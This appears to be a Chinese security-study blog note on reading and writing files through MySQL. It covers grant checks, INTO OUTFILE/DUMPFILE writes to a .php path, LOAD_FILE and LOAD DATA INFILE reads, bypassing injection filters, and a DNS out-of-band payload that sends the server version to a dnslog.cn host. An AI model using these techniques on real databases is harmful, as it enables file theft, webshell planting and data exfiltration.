Mysql读写文件随笔

Mysql读写文件随笔

  • 一、查看当前用户权限 显示授权[针对用户]
  • 二、mysql 写文件
    • INTO outfile 写完文件后会在文件后加一个\n换行符
    • INTO DUMPFILE 我们在平常的UDF提权中使用dumpfile进行dll文件
  • 三、mysql 读文件
    • LOAD_FILE(file_name)
    • load_file()和load data infile读取文件的方法为:新建一个表,读取文件为字符串形式插入表中,然后读出表中数据。
    • 但是通常情况下有两个前提:
      • 1.在拥有file权限的前提下
      • 2.secure_file_priv不为NULL
    • load_file()
    • 注入过程中,往往会过滤掉load_file()这个函数,但是仍然有load data infile可以使用
    • load data infile
    • 非远程连接时可以尝试读取 system cat 'D:/Test.php' (未复现。。)
    • mysql禁止导入导出时,尝试OOB带外注入(未复现,mysql版本问题)

#当前版本

SELECT VERSION();

Mysql读写文件随笔_第1张图片

一、查看当前用户权限 显示授权[针对用户]

SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER();

在这里插入图片描述

二、mysql 写文件

INTO outfile 写完文件后会在文件后加一个\n换行符

select '' INTO OUTFILE 'D:/Test.php';

Mysql读写文件随笔_第2张图片
Mysql读写文件随笔_第3张图片

INTO DUMPFILE 我们在平常的UDF提权中使用dumpfile进行dll文件

···
select ‘’ INTO DUMPFILE ‘D:/Test.php’;
···
Mysql读写文件随笔_第4张图片

三、mysql 读文件

LOAD_FILE(file_name)

select LOAD_FILE('D:/Test.php');

Mysql读写文件随笔_第5张图片

load_file()和load data infile读取文件的方法为:新建一个表,读取文件为字符串形式插入表中,然后读出表中数据。

但是通常情况下有两个前提:

1.在拥有file权限的前提下

2.secure_file_priv不为NULL

show GLOBAL VARIABLES like 'secure_file_priv';

load_file()

CREATE table readFile(cmd text);
INSERT into readFile(cmd) VALUES (LOAD_FILE('D:/Test.php'));
select * from readFile;

Mysql读写文件随笔_第6张图片

注入过程中,往往会过滤掉load_file()这个函数,但是仍然有load data infile可以使用

load data infile

load data infile 'D:/Test.php' into table readFile;
select * from readFile;

Mysql读写文件随笔_第7张图片

非远程连接时可以尝试读取 system cat ‘D:/Test.php’ (未复现。。)

mysql禁止导入导出时,尝试OOB带外注入(未复现,mysql版本问题)

select load_file(concat('\\\\',version(),'.p2y52y.dnslog.cn'));

在这里插入图片描述

参考:
https://www.jianshu.com/p/340eedc67a9c
https://www.cnblogs.com/c1e4r/articles/8618692.html

你可能感兴趣的:(安全基础随笔,mysql,数据库)